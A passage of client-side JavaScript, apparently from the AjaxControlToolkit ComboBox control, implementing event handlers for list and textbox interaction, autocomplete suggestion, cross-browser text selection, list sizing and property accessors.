        var newScrollTop = _this.get_optionListControl().scrollTop + scrollStep;
        _this.get_optionListControl().scrollTop = newScrollTop;

        // tell parents we have handled this event
        e.stopPropagation();
        e.preventDefault();
        return false;

    },
    _onListMouseOver: function(e) {

        // do not highlight unless an LI is being hovered
        if (e.target !== this.get_optionListControl()) {
            var target = e.target;
            var children = this.get_optionListControl().childNodes;

            // loop through children to find a match with the target
            for (var i = 0; i < children.length; ++i) {
                // match found, highlight item and break loop
                if (target === children[i]) {
                    this._highlightListItem(i, true);
                    break;
                }
            }
        }

    },
    _onListMouseOut: function(e) {

        // unhighlight the highlighted item if the list is open in suggestappend mode
        // prevents overriding user-typed text when determining the selectedindex
        if (this._popupBehavior._visible
            && this.get_autoCompleteMode() == AjaxControlToolkit.ComboBoxAutoCompleteMode.SuggestAppend) {
            this._highlightListItem(this._highlightedIndex, false);
        }

    },
    _onListMouseDown: function(e) {

        if (e.target == this.get_optionListControl() || e.target.tagName == 'scrollbar') {
            return true;
        }

        // set the TextBox to the highlighted ListItem's text and update selectedIndex
        if (e.target !== this.get_optionListControl()) {
            var highlightedItem = this.get_optionListControl().
				childNodes[this._highlightedIndex];
            var text = this._optionListItems[this._highlightedIndex].text;
            this.get_textBoxControl().value = text;
            this.set_selectedIndex(this._highlightedIndex);

            // return focus to the TextBox
            this._supressFocusHide = false;
            //this.get_textBoxControl().focus(); // danludwig, see http://ajaxcontroltoolkit.codeplex.com/WorkItem/View.aspx?WorkItemId=22392
            this._handleTextBoxFocus(null);

        }
        else {
            return true;
        }
        e.preventDefault();
        e.stopPropagation();
        return false;

    },
    _onListClick: function(e) {

        if (e.target == this.get_optionListControl()) {
            return true;
        }

        // prevent ItemList clicks from triggering document clicks
        e.preventDefault();
        e.stopPropagation();
        return false;

    },
    _onListDrag: function(e) {

        // prevent selection of ListItem text
        e.preventDefault();
        e.stopPropagation();
        return false;

    },
    _onListSelectStart: function(e) {

        // prevent selection of ListItem text
        e.preventDefault();
        e.stopPropagation();
        return false;

    },
    _onTextBoxClick: function(e) {

        // in Simple mode, always display the list
        if (this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.Simple) {
            this._popupBehavior.show();
        }

        // prevent TextBox clicks from triggering document clicks
        e.preventDefault();
        e.stopPropagation();
        return false;

    },
    _onTextBoxFocus: function(e) {

        this._handleTextBoxFocus(e);

    },
    _onTextBoxBlur: function(e) {

        // select the correct index based on text box value
        var textBoxValue = this.get_textBoxControl().value.trim();
        var matchedIndex = -3;

        // search items
        for (var i = 0; i < this._optionListItems.length; i++) {
            var item = this._optionListItems[i];
            if (this._isExactMatch(item.text, textBoxValue)) {
                matchedIndex = i;
                break;
            }
        }

        // when in suggest mode, a suggested index may already be set
        if (this._highlightSuggestedItem == true && this._highlightedIndex != null && this._highlightedIndex >= 0) {
            this.set_selectedIndex(this._highlightedIndex);
            this.get_textBoxControl().value = this._optionListItems[this.get_selectedIndex()].text;
        }

        // selected index is -2 when custom text is entered in dropdownlist mode
        else if (matchedIndex == -3 && textBoxValue.length > 0
            && this.get_dropDownStyle() != AjaxControlToolkit.ComboBoxStyle.DropDownList) {
            this.set_selectedIndex(-2);
        }

        // selected index is -1 when there are no items in the list and there is no custom text
        else if (this._optionListItems.length < 1 && (textBoxValue == ''
            || this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.DropDownList)) {
            this.set_selectedIndex(-1);
            this.get_textBoxControl().value = '';
        }

        // when list contains items but none matched, select the first item by default
        else if (this._optionListItems.length >= 0 && matchedIndex == -3
            && this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.DropDownList) {
            this.set_selectedIndex(0);
            this.get_textBoxControl().value = this._optionListItems[0].text;
        }

        // when list contains a matchable item, set the selected index
        else if (matchedIndex >= 0) {
            this.set_selectedIndex(matchedIndex);
            this.get_textBoxControl().value = this._optionListItems[matchedIndex].text;
        }

        // hide the option list and optionally trigger postback
        this._popupBehavior.hide();
        if (this.get_autoPostBack() == true && !this._doingPostBack && this._originalSelectedIndex != this.get_selectedIndex()) {
            this._doingPostBack = true;
            __doPostBack(this.get_element().id, '');
        }

    },
    _onTextBoxKeyDown: function(e) {

        // keydown is not fired in ff or opera. keypress is fired instead.
        // in ie and safari, keydown is fired before keypress for character keys and the ENTER key.
        // in ie and safari, keydown is fired instead of keypress for ARROWS, BACKSPACE, and DELETE keys.
        // only keyCodes are sent to this event: charCodes are always undefined here.

        // user presses ENTER while text box has focus
        var enterResult = this._handleEnterKey(e);
        if (enterResult != null) {
            return enterResult;
        }

        this._handleArrowKey(e);

        // handle backspace and delete keystrokes
        var erasureKeyResult = this._handleErasureKeys(e);
        if (erasureKeyResult != null) {
            return erasureKeyResult;
        }

        return true;

    },
    _onTextBoxKeyPress: function(e) {

        // user presses ENTER while text box has focus
        var enterResult = this._handleEnterKey(e);
        if (enterResult != null) {
            return enterResult;
        }

        // some browsers, like ff and Opera, send arrow strokes here instead of keydown 
        var arrowResult = this._handleArrowKey(e);
        if (arrowResult != null) {
            return arrowResult;
        }

        // do not prevent all keypresses, only character keypresses.
        var nonCharacterKeyResult = this._handleNonCharacterKey(e);
        if (nonCharacterKeyResult != null) {
            return nonCharacterKeyResult;
        }

        // always show list in simple mode
        if (this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.Simple && !this._popupBehavior._visible) {
            this._popupBehavior.show();
        }

        // prevent typing when there are no items in the list
        if (this.get_selectedIndex() == -1 && this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.DropDownList) {
            this.get_textBoxControl().value = '';
            e.preventDefault();
            e.stopPropagation();
            return false;
        }

        // get info about the text and selection
        var info = this._getTextSelectionInfo(this.get_textBoxControl(), e);
        var newSelectionStart = info.selectionStart;
        var newSelectionEnd = info.selectionEnd;
        var allText = info.selectionPrefix + info.typedCharacter
            + info.selectionText.substring(1) + info.selectionSuffix;
        var userText = info.selectionPrefix + info.typedCharacter;
        var suggestedIndex = this._suggestIndex(allText, userText);

        // setup suggest behavior
        if (this.get_autoCompleteMode() == AjaxControlToolkit.ComboBoxAutoCompleteMode.Suggest
                || this.get_autoCompleteMode() == AjaxControlToolkit.ComboBoxAutoCompleteMode.SuggestAppend) {
            this._highlightSuggestedItem = true;
            if (!this._popupBehavior._visible) {
                this._popupBehavior.show();
            }
        }

        // suggestedIndex can be a valid index or -1.
        if (suggestedIndex >= 0) {

            // handle append behavior
            if (this.get_autoCompleteMode() == AjaxControlToolkit.ComboBoxAutoCompleteMode.Append
                    || this.get_autoCompleteMode() == AjaxControlToolkit.ComboBoxAutoCompleteMode.SuggestAppend) {
                this.get_textBoxControl().value = this._optionListItems[suggestedIndex].text;
                newSelectionStart = info.selectionStart + 1;
                newSelectionEnd = this.get_textBoxControl().value.length;
            }
            // do not append suggestion
            else {
                this.get_textBoxControl().value = this._optionListItems[suggestedIndex].text.substring(0, userText.length);
                newSelectionStart = this.get_textBoxControl().value.length;
                newSelectionEnd = this.get_textBoxControl().value.length;
            }
        }

        // when suggestedIndex is -1, there is no match.
        else if (this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.Simple
                || this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.DropDown) {
            this.get_textBoxControl().value = userText;
            newSelectionStart = userText.length;
            newSelectionEnd = userText.length;
        }

        // handle backspace and delete keystrokes
        var erasureKeyResult = this._handleErasureKeys(e);
        if (erasureKeyResult != null) {
            return erasureKeyResult;
        }

        // automatically highlight and scroll based on typing
        this._ensureHighlightedIndex();
        this._ensureScrollTop();
        this._setTextSelectionRange(this.get_textBoxControl(), newSelectionStart, newSelectionEnd);

        e.preventDefault();
        e.stopPropagation();
        return false;

    },
    _onDocumentClick: function(e) {

        // hide the option list when users click document
        if (this._popupBehavior._visible) {
            this._popupBehavior.hide();
        }

    },
    _onDocumentMouseWheel: function(e) {

        // event is invoked by either 'this' prototype or the DOM document object
        var _this = this.ajax__combobox_prototypes;
        if (typeof (_this) === 'undefined') {
            _this = this;
        }

        // hide the option list when user mousewheel scrolls outside of it
        if (typeof (this.ajax__combobox_prototypes) === 'undefined') {
            this._popupBehavior.hide();
        }
        else {
            for (var i = 0; i < this.ajax__combobox_prototypes.length; i++) {
                this.ajax__combobox_prototypes[i]._popupBehavior.hide();
            }
        }

        return true;

    },
    _handleTextBoxFocus: function(e) {

        // hide the option list and optionally trigger postback
        if (!this._supressFocusHide && this._popupBehavior._visible) {
            this._popupBehavior.hide();
            this._supressFocusHide = true;
            if (this.get_autoPostBack() && !this._doingPostBack && this._originalSelectedIndex != this.get_selectedIndex()) {
                this._doingPostBack = true;
                __doPostBack(this.get_element().id, '');
            }
        }

        // in Simple mode, always display the list
        if (this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.Simple) {
            this._popupBehavior.show();
        }

        // select the entire string in the text box
        this._setTextSelectionRange(
            this.get_textBoxControl(),
            0,
            this.get_textBoxControl().value.length);

        if (e != null) {
            e.preventDefault();
            e.stopPropagation();
        }

    },
    _highlightListItem: function(index, isHighlighted) {

        // only highlight valid indices
        if (index == undefined || index < 0) {
            if (this._highlightedIndex != undefined && this._highlightedIndex >= 0) {
                this._highlightListItem(this._highlightedIndex, false);
            }
            return;
        }

        var children = this.get_optionListControl().childNodes;
        var liElement = children[index];

        // item is being hovered
        if (isHighlighted == true) {

            // skip if already highlighted
            if (this._highlightedIndex == index)
                return;

            // apply hover css class
            if (index >= 0) {
                // to avoid scrollbar flickering during scrolls in IE, do not set className unless it is provided
                if (this.get_listItemHoverCssClass() == undefined || this.get_listItemHoverCssClass() == '') {
                    liElement.style.backgroundColor = 'Highlight';
                    liElement.style.color = 'HighlightText'
                }
                else {
                    liElement.className = this.get_listItemHoverCssClass;
                }
            }

            // unselect previously highlighted item
            if (this._highlightedIndex != null && this._highlightedIndex != index && this._highlightedIndex >= 0) {
                this._highlightListItem(this._highlightedIndex, false);
            }

            // update control state
            this._highlightedIndex = index;
        }

        // item is not being hovered
        else {
            if (this.get_listItemHoverCssClass() == undefined || this.get_listItemHoverCssClass() == '') {
                liElement.style.backgroundColor = '';
                liElement.style.color = ''
            }
            else {
                liElement.className = '';
            }

            if (index == this._highlightedIndex) {
                this._highlightedIndex = -1;
            }
        }

    },
    _suggestIndex: function(allText, userText) {

        // suggest closest option list match based on user's typing
        var suggestedIndex = -1;
        var firstMatch = false;
        var exactMatch = false;

        // loop through all options in the list
        for (var i = 0; i < this._optionListItems.length; i++) {
            itemText = this._optionListItems[i].text;

            // skip empty elements
            if (itemText.length < 1)
                continue;

            // skip elements that don't match on first character
            if (itemText.substring(0, 1).toLowerCase() != userText.substring(0, 1).toLowerCase())
                continue;

            // first, check if strings are exact match
            var allCandidate = itemText.substring(0, allText.length);
            exactMatch = (allCandidate == allText);
            if (!exactMatch && !this.get_caseSensitive()) {
                exactMatch = (allCandidate.toLowerCase() == allText.toLowerCase());
            }

            // always return exact matches before first matches
            if (exactMatch) {
                suggestedIndex = i;
                break;
            }

            // otherwise, look for a partial match and keep going
            else if (!firstMatch) {
                var userCandidate = itemText.substring(0, userText.length);
                firstMatch = (userCandidate == userText);
                if (!firstMatch && !this.get_caseSensitive())
                    firstMatch = (userCandidate.toLowerCase() == userText.toLowerCase());
                if (firstMatch)
                    suggestedIndex = i;
            }
        }
        return suggestedIndex;

    },
    _getKeyboardCode: function(e) {

        if (e.type == 'keypress') {
            return e.charCode;
        } else if (e.type == 'keydown') {
            return e.keyCode;
        }
        return undefined;

    },
    _handleArrowKey: function(e) {

        // when shift key is pressed, ignore arrow codes
        if (e.shiftKey == true) {
            return null;
        }

        var code = this._getKeyboardCode(e);

        // cycle through items when up & down arrow keys are used
        if (code == Sys.UI.Key.up || code == Sys.UI.Key.down) {
            if (this._popupBehavior._visible) {
                var vector = code - 39;
                if ((vector == -1 && this._highlightedIndex > 0) || (vector == 1 && this._highlightedIndex < this._optionListItems.length - 1)) {
                    var newIndex = (this._highlightedIndex + vector);
                    this.get_textBoxControl().value = this._optionListItems[newIndex].text;
                    this._highlightListItem(newIndex, true);
                    this.set_selectedIndex(newIndex);
                    this._ensureScrollTop();
                }
            }
            else {
                this._popupBehavior.show();
            }

            if (e.type == 'keypress') {
                e.preventDefault();
                e.stopPropagation();
                return false;
            }
            return true;
        }
        return null;

    },
    _handleEnterKey: function(e) {

        var code = this._getKeyboardCode(e);

        if (code == Sys.UI.Key.enter) {
            // if the dropdown is open, close it.
            if (this._popupBehavior._visible) {
                if (this._highlightedIndex >= 0) {
                    this.get_textBoxControl().value = this._optionListItems[this._highlightedIndex].text
                    this.set_selectedIndex(this._highlightedIndex);
                }
                this._popupBehavior.hide();
                e.preventDefault();
                e.stopPropagation();
                return false;
            }

            // allow form submits for free text
            else if (this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.Simple
                || this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.DropDown) {
                return true;
            }

            // allow form submits for valid selected indices
            else if (this._highlightedIndex == this.get_selectedIndex()) {
                return true;
            }

            e.preventDefault();
            e.stopPropagation();
            return false;
        }
        return null;

    },
    _handleErasureKeys: function(e) {

        var code = this._getKeyboardCode(e);

        var isBackspaceKey = (code == Sys.UI.Key.backspace);
        var isDeleteKey = (code == Sys.UI.Key.del);
        if (typeof (window.event) === 'undefined' && e.type == 'keypress') {
            isDeleteKey = (e.rawEvent.keyCode == 46);
        }

        if (isBackspaceKey || isDeleteKey) {

            var info = this._getTextSelectionInfo(this.get_textBoxControl(), e);
            var newSelectionStart, newSelectionEnd;

            // always delete selected characters
            if (info.selectionStart < info.selectionEnd) {
                this.get_textBoxControl().value = info.selectionPrefix + info.selectionSuffix;
                newSelectionStart = info.selectionStart;
                newSelectionEnd = info.selectionStart;
            }

            // otherwise, there is no selection -- only a carat
            else if (info.selectionStart == info.selectionEnd) {
                var newValue;
                if (isBackspaceKey && info.selectionStart > 0) {
                    var trimSize = 1;
                    if (info.selectionPrefix.charCodeAt(info.selectionPrefix.length - 1) == 8) {
                        trimSize = 2;
                    }
                    newValue = info.selectionPrefix.substr(0, info.selectionPrefix.length - trimSize);
                    newValue += info.selectionSuffix;
                    this.get_textBoxControl().value = newValue;
                    newSelectionStart = info.selectionStart - 1;
                    newSelectionEnd = info.selectionStart - 1;
                }
                else if (isDeleteKey && info.selectionStart < info.textBoxValue.length) {
                    newValue = info.selectionSuffix;
                    newValue = info.selectionPrefix + newValue.substr(1, info.selectionSuffix.length - 1);
                    this.get_textBoxControl().value = newValue;
                    newSelectionStart = info.selectionStart;
                    newSelectionEnd = info.selectionStart;
                    this._setTextSelectionRange(this.get_textBoxControl(), info.selectionStart, info.selectionStart);
                }
            }

            this._ensureHighlightedIndex();
            this._ensureScrollTop();
            this._setTextSelectionRange(this.get_textBoxControl(), newSelectionStart, newSelectionEnd);

            // in custom text modes with suggestion, need to re-check the highlighted item
            if ((this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.Simple
                || this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.DropDown)
                && (this.get_autoCompleteMode() == AjaxControlToolkit.ComboBoxAutoCompleteMode.Suggest
                || this.get_autoCompleteMode() == AjaxControlToolkit.ComboBoxAutoCompleteMode.SuggestAppend)
                && this._highlightedIndex >= 0) {
                var _isExactMatch = this._isExactMatch(this._optionListItems[this._highlightedIndex].text, this.get_textBoxControl().value);
                if (!_isExactMatch) {
                    this._highlightListItem(this._highlightedIndex, false);
                }
            }

            e.preventDefault();
            e.stopPropagation();
            return false;
        }
        return null;

    },
    _handleNonCharacterKey: function(e) {

        var code = this._getKeyboardCode(e);

        var isBackspaceKey = (code == Sys.UI.Key.backspace);
        var isDeleteKey = (code == Sys.UI.Key.del);
        if (e.type == 'keypress') {
            isDeleteKey = (code == 46);
        }

        if (isBackspaceKey || isDeleteKey) {

            return null;
        }

        if (this._isNonCharacterKey(e)) {
            // prevent event validation errors when ESC is hit twice
            if (code == Sys.UI.Key.esc) {
                this._popupBehavior.hide();
                this.get_textBoxControl().blur();
                e.preventDefault();
                e.stopPropagation();
                return false;
            }
            return true;
        }
        return null;
    },
    _isNonCharacterKey: function(e) {

        // MS Ajax uses following codes for Key enumeration
        // backspace:8,tab:9,enter:13,esc:27,space:32,pageUp:33,pageDown:34,end:35,home:36,left:37,up:38,right:39,down:40,del:127
        var code = this._getKeyboardCode(e);

        // return true if keypress actions should be allowed
        if (code == Sys.UI.Key.enter || code == Sys.UI.Key.esc) { // allow RETURN/ENTER and ESC keys for all browsers

            return true;
        }
        else if (Sys.Browser.agent == Sys.Browser.Safari && Sys.Browser.version < 500) {

            // allow special funky apple keypresses
            if (code == 8           // BACKSPACE in Safari 2
                || code == 9        // TAB in Safari 2
                || code == 63272    // DELETE in Safari 2
                || code == 63276    // PAGEUP in Safari 2
                || code == 63277    // PAGEDOWN in Safari 2
                || code == 63275    // END in Safari 2
                || code == 63273    // HOME in Safari 2
                || code == 63234    // ARROWLEFT in Safari 2
                || code == 63235    // ARROWRIGHT in Safari 2
                || (code >= 63236 && code <= 63243) // FUNCTION keys in Safari 2
                || code == 63248       // F13 key in Safari 2
            ) {
                return true;
            }
        }
        else if (Sys.Browser.agent == Sys.Browser.WebKit) {

            // allow special funky apple webkit keypresses
            if (code == 8            // BACKSPACE in Safari 3
                || code == 9         // TAB in Safari 3
                || code == 19        // PAUSE BREAK Safari 3
                || code == 33        // PAGEUP in Safari 3
                || code == 34        // PAGEDOWN in Safari 3
                || code == 35        // END in Safari 3
                || code == 36        // HOME in Safari 3
                || code == 37        // ARROWLEFT in Safari 3
                || code == 39        // ARROWRIGHT in Safari 3
                || code == 45        // INSERT in Safari 3
                || code == 46        // DELETE in Safari 3
                || code == 91        // WINDOWS LEFT Safari 3
                || code == 92        // WINDOWS RIGHT Safari 3
                || code == 93        // MENU Safari 3
                || code == 113       // F2 Safari 3
                || code == 115       // F4 Safari 3
                || code == 118       // F7 Safari 3
                || code == 119       // F8 Safari 3
                || code == 120       // F9 Safari 3
                || code == 122       // F11 Safari 3
                || code == 145       // SCROLL LOCK Safari 3
            )
                return true;
        }
        else if (Sys.Browser.agent != Sys.Browser.InternetExplorer) {

            // allow kepress events triggered by FF & Opera
            if (code == 8           // BACKSPACE in non-microsoft browsers
                || code == 9        // TAB in non-microsoft browsers
                || code == 33       // PAGEUP in non-microsoft browsers
                || code == 34       // PAGEDOWN in non-microsoft browsers
                || code == 35       // END in non-microsoft browsers
                || code == 36       // HOME in non-microsoft browsers
                || code == 37       // ARROWLEFT in non-microsoft browsers
                || code == 39       // ARROWRIGHT in non-microsoft browsers
                || code == 45       // INSERT in non-microsoft browsers
                || code == 46       // DELETE in non-microsoft browsers
            //|| (code >= 112 && code <= 123) // FUNCTION keys in non-microsoft browsers
            ) {
                if (!e.shiftKey)
                    return true;
            }
            else if (code == 145) {

                // allow SCROLL LOCK events triggered by weird combos
                return true;

            }
            else if (code == 19) {

                // allow PAUSE BREAK events triggered by weird combos
                return true;

            }
            else if (Sys.Browser.agent == Sys.Browser.Opera) {

                // allow kepress events triggered only by Opera
                if (code == 0       // MENU key in Opera
                    || code == 16   // SHIFT key in Opera
                    || code == 17   // CONTROL key in Opera
                ) {
                    return true;
                }
            }
            else if (Sys.Browser.agent == Sys.Browser.Firefox) {

                // allow kepress events triggered only by Firefox
                if (code == 91      // WINDOWS LEFT key in Firefox
                    || code == 92   // WINDOWS RIGHT key in Firefox
                    || code == 93   // MENU key in Firefox
                ) {
                    return true;
                }
            }
        }
        return false;

    },
    _ensureScrollTop: function() {

        // automatically scroll if the highlighted index is not visible. 
        if (this._highlightedIndex >= 0) {
            var itemHeight = this._getOptionListItemHeight();
            var itemTop = itemHeight * this._highlightedIndex;
            var scrollBottom = this.get_optionListControl().scrollTop + this.get_optionListControl().clientHeight;

            if (itemTop <= this.get_optionListControl().scrollTop || itemTop >= scrollBottom)
                this.get_optionListControl().scrollTop = this._highlightedIndex * itemHeight;
        }

    },
    _ensureSelectedIndex: function() {

        // server may not always invoke set_selectedIndex(), need to make sure this is always an integer
        var selectedIndex = this.get_hiddenFieldControl().value;
        if (selectedIndex == '') {
            selectedIndex = (this._optionListItems.length > 0) ? 0 : -1;
            this.get_hiddenFieldControl().value = selectedIndex.toString();
        }
        if (this._originalSelectedIndex == null) {
            this._originalSelectedIndex = parseInt(selectedIndex);
        }


    },
    _ensureHighlightedIndex: function() {

        // highlight an index according to textbox value
        var textBoxValue = this.get_textBoxControl().value;

        // first, check the current highlighted index
        if (this._highlightedIndex != null && this._highlightedIndex >= 0
            && this._isExactMatch(this._optionListItems[this._highlightedIndex].text, textBoxValue)) {
            return;
        }

        // need to find the correct index
        var firstMatch = -1;
        var ensured = false;
        for (var i = 0; i < this._optionListItems.length; i++) {
            var itemText = this._optionListItems[i].text;
            if (this._isExactMatch(itemText, textBoxValue)) {
                this._highlightListItem(i, true);
                ensured = true;
                break;
            }

            // if in DropDownList mode, save first match.
            else if (firstMatch < 0 && this._highlightSuggestedItem) {
                if (this._isPrefixMatch(itemText, textBoxValue)) {
                    firstMatch = i;
                }
            }
        }

        if (!ensured) {
            this._highlightListItem(firstMatch, true);
        }

    },
    _isExactMatch: function(itemText, userText) {

        // whether strings match exactly, depending on case sensitivity
        var exactMatch = (itemText == userText);
        if (!exactMatch && !this.get_caseSensitive())
            exactMatch = (itemText.toLowerCase() == userText.toLowerCase())

        return exactMatch;

    },
    _isPrefixMatch: function(itemText, userText) {

        // whether the user-typed text matches as the prefix of an option in the list
        return this._isExactMatch(itemText.substring(0, userText.length), userText);

    },
    _setTextSelectionRange: function(textBox, selectionStart, selectionEnd) {

        // set the selection range on the text box
        var strategy = this._getTextSelectionStrategy();
        if (strategy == AjaxControlToolkit.ComboBoxTextSelectionStrategy.Microsoft) {
            var range = textBox.createTextRange();
            range.collapse(true);
            range.moveEnd('character', selectionEnd);
            range.moveStart('character', selectionStart);
            range.select();

            // opera wants to also invoke the W3C setSelectionRange method
            if (Sys.Browser.agent == Sys.Browser.Opera) {
                textBox.setSelectionRange(selectionStart, selectionEnd)
            }
        }
        else if (strategy == AjaxControlToolkit.ComboBoxTextSelectionStrategy.W3C) {
            textBox.setSelectionRange(selectionStart, selectionEnd)
        }

    },
    _getTextSelectionStrategy: function() {

        // different browsers have different API's for selecting text
        if (this._textSelectionStrategy == null) {
            if (this.get_textBoxControl().createTextRange) {
                this._textSelectionStrategy =
                    AjaxControlToolkit.ComboBoxTextSelectionStrategy.Microsoft;
            }
            else if (this.get_textBoxControl().setSelectionRange) {
                this._textSelectionStrategy =
                    AjaxControlToolkit.ComboBoxTextSelectionStrategy.W3C;
            }
            else {
                this._textSelectionStrategy =
                    AjaxControlToolkit.ComboBoxTextSelectionStrategy.Unknown;
            }
        }

        return this._textSelectionStrategy;

    },
    _getTextSelectionInfo: function(textBox, e) {

        // returns a helper object with information about textbox selection
        var info = new Object();

        // strategy
        info.strategy = this._getTextSelectionStrategy();

        // selectionStart & selectionEnd
        if (info.strategy == AjaxControlToolkit.ComboBoxTextSelectionStrategy.Microsoft) {
            var userRange = document.selection.createRange();
            info.selectionStart = 0;
            info.selectionEnd = textBox.value.length;
            while (userRange.moveStart('character', -1) != 0) {
                info.selectionStart++;
            }
            while (userRange.moveEnd('character', 1) != 0) {
                info.selectionEnd--;
            }
        }
        else if (info.strategy == AjaxControlToolkit.ComboBoxTextSelectionStrategy.W3C) {
            info.selectionStart = textBox.selectionStart;
            info.selectionEnd = textBox.selectionEnd;
        }

        // typedCharacter, textBoxValue, selectionPrefix, selectionSuffix, selectionTextFirst
        info.typedCharacter = String.fromCharCode(e.charCode);
        info.textBoxValue = textBox.value;
        info.selectionPrefix = (info.textBoxValue.length >= info.selectionStart)
            ? info.textBoxValue.substring(0, info.selectionStart)
            : '';
        info.selectionText = (info.textBoxValue.length >= info.selectionEnd)
            ? info.textBoxValue.substring(info.selectionStart, info.selectionEnd)
            : '';
        info.selectionSuffix = (info.textBoxValue.length >= info.selectionEnd)
            ? info.textBoxValue.substring(info.selectionEnd, info.textBoxValue.length)
            : '';
        info.selectionTextFirst = info.selectionText.substring(0, 1);

        return info;

    },
    _getOptionListItemHeight: function() {

        // gets the height of an individual option list item
        if (this._optionListItemHeight == null && this.get_optionListControl().scrollHeight > 0) {
            this._optionListItemHeight = Math.round(this.get_optionListControl().scrollHeight / this._optionListItems.length);
        }
        else if (Sys.Browser.agent === Sys.Browser.InternetExplorer && Sys.Browser.version < 7
            && Math.round(this.get_optionListControl().scrollHeight / this._optionListItems.length) < this._optionListItemHeight) {
            this._optionListItemHeight = Math.round(this.get_optionListControl().scrollHeight / this._optionListItems.length);
        }
        return this._optionListItemHeight;

    },
    _getOptionListBounds: function() {

        var bounds = {
            width: this._getOptionListWidth(),
            height: this._getOptionListHeight()
        };
        return bounds;

    },
    _getOptionListHeight: function() {

        // gets the total height of the option list
        if (this._optionListHeight == null || (this._getOptionListItemHeight() * this._optionListItems.length) < this._optionListHeight) {
            // multiply the height of one item by the total number of items
            this._optionListHeight = this._getOptionListItemHeight() * this._optionListItems.length;
        }

        // protect against negative dimensions
        if (this._optionListHeight < 0) {
            this._optionListHeight = 0;
        }

        return this._optionListHeight;

    },
    _getOptionListWidth: function() {

        // gets the width of the option list
        if (this._optionListWidth == null) {
            var leftBorder = 1;
            var rightBorder = 1;
            var leftPadding = 0;
            var rightPadding = 0;
            var style = this.get_optionListControl().style;


            // before doing anything, make sure overflow is auto
            style.overflow = 'auto';

            // first, default to the clientWidth of the container
            var bestWidth = this.get_comboTableControl().offsetWidth;

            // subtract borders from the offsetWidth
            bestWidth -= (leftBorder + rightBorder);
            if (bestWidth < 0) {
                bestWidth = 0;
            }

            // in order for ths list's scrollWidth to be correct, must set its width
            var originalWidth = style.width;
            style.width = bestWidth + 'px';

            // now compare the list's scrollWidth to the box width
            if (this.get_comboTableControl().offsetWidth < this.get_optionListControl().scrollWidth) {
                // allow the list to extend as wide as necessary according to its contents
                bestWidth = this.get_optionListControl().scrollWidth + rightPadding + leftPadding;
            }

            // hide the overflow, as there shouldn't be any scrollbars needed now
            style.overflow = 'hidden';

            // reset the list's width style to its original setting
            style.width = originalWidth;

            this._optionListWidth = bestWidth;
        }

        // protect against negative dimensions
        if (this._optionListWidth < 0) {
            this._optionListWidth = 0;
        }

        return this._optionListWidth;

    },
    _getWindowBounds: function() {

        var bounds = {
            x: this._getScrollLeft(),
            y: this._getScrollTop(),
            width: this._getWindowWidth(),
            height: this._getWindowHeight()
        };
        return bounds;

    },
    _getWindowHeight: function() {

        var windowHeight = 0;
        if (typeof (window.innerHeight) == 'number') {
            windowHeight = window.innerHeight;
        }
        else if (document.documentElement && document.documentElement.clientHeight) {
            windowHeight = document.documentElement.clientHeight;
        }
        else if (document.body && document.body.clientHeight) {
            windowHeight = document.body.clientHeight;
        }
        return windowHeight;

    },
    _getWindowWidth: function() {

        var windowWidth = 0;
        if (typeof (window.innerWidth) == 'number') {
            windowWidth = window.innerWidth;
        }
        else if (document.documentElement && document.documentElement.clientWidth) {
            windowWidth = document.documentElement.clientWidth;
        }
        else if (document.body && document.body.clientWidth) {
            windowWidth = document.body.clientWidth;
        }
        return windowWidth;

    },
    _getScrollTop: function() {

        var scrollTop = 0;
        if (typeof (window.pageYOffset) == 'number') {
            scrollTop = window.pageYOffset;
        }
        if (document.body && document.body.scrollTop) {
            scrollTop = document.body.scrollTop;
        }
        else if (document.documentElement && document.documentElement.scrollTop) {
            scrollTop = document.documentElement.scrollTop;
        }
        return scrollTop;

    },
    _getScrollLeft: function() {

        var scrollLeft = 0;
        if (typeof (window.pageXOffset) == 'number') {
            scrollLeft = window.pageXOffset;
        }
        else if (document.body && document.body.scrollLeft) {
            scrollLeft = document.body.scrollLeft;
        }
        else if (document.documentElement && document.documentElement.scrollLeft) {
            scrollLeft = document.documentElement.scrollLeft;
        }
        return scrollLeft;

    },
    set_comboTableControl: function(value) {

        if (this._comboTableControl !== value) {
            this._comboTableControl = value;
            this.raisePropertyChanged('comboTableControl');
        }

    },
    get_comboTableControl: function() {

        return this._comboTableControl;

    },
    set_textBoxControl: function(value) {

        if (this._textBoxControl !== value) {
            this._textBoxControl = value;
            this.raisePropertyChanged('textBoxControl');
        }

    },
    get_textBoxControl: function() {

        return this._textBoxControl;

    },
    set_buttonControl: function(value) {

        if (this._buttonControl !== value) {
            this._buttonControl = value;
            this.raisePropertyChanged('buttonControl');
        }

    },
    get_buttonControl: function() {
        return this._buttonControl;
    },
    set_optionListControl: function(value) {

        if (this._optionListControl !== value) {
            this._optionListControl = value;
            this.raisePropertyChanged('optionListControl');
        }

    },
    get_optionListControl: function() {

        return this._optionListControl;

    },
    set_hiddenFieldControl: function(value) {

        if (this._hiddenFieldControl !== value) {
            this._hiddenFieldControl = value;
            this.raisePropertyChanged('hiddenFieldControl');
        }

    },
    get_hiddenFieldControl: function() {

        return this._hiddenFieldControl;

    },
    set_selectedIndex: function(value) {

        if (this.get_hiddenFieldControl().value !== value.toString()) {
            this.get_hiddenFieldControl().value = value.toString();
            this._ensureSelectedIndex();
            this.raisePropertyChanged('selectedIndex');
        }

    },
    get_selectedIndex: function() {

        this._ensureSelectedIndex();
        var selectedIndex = this.get_hiddenFieldControl().value;
        return parseInt(selectedIndex);

    },
    set_autoPostBack: function(value) {

        if (this._autoPostBack !== value) {
            this._autoPostBack = value;
            this.raisePropertyChanged('autoPostBack');
        }

    },
    get_autoPostBack: function() {

        return this._autoPostBack;

    },
    set_autoCompleteMode: function(value) {

        if (this._autoCompleteMode !== value) {
            this._autoCompleteMode = value;
            this.raisePropertyChanged('autoCompleteMode');
        }

    },
    get_autoCompleteMode: function() {

        return this._autoCompleteMode;

    },
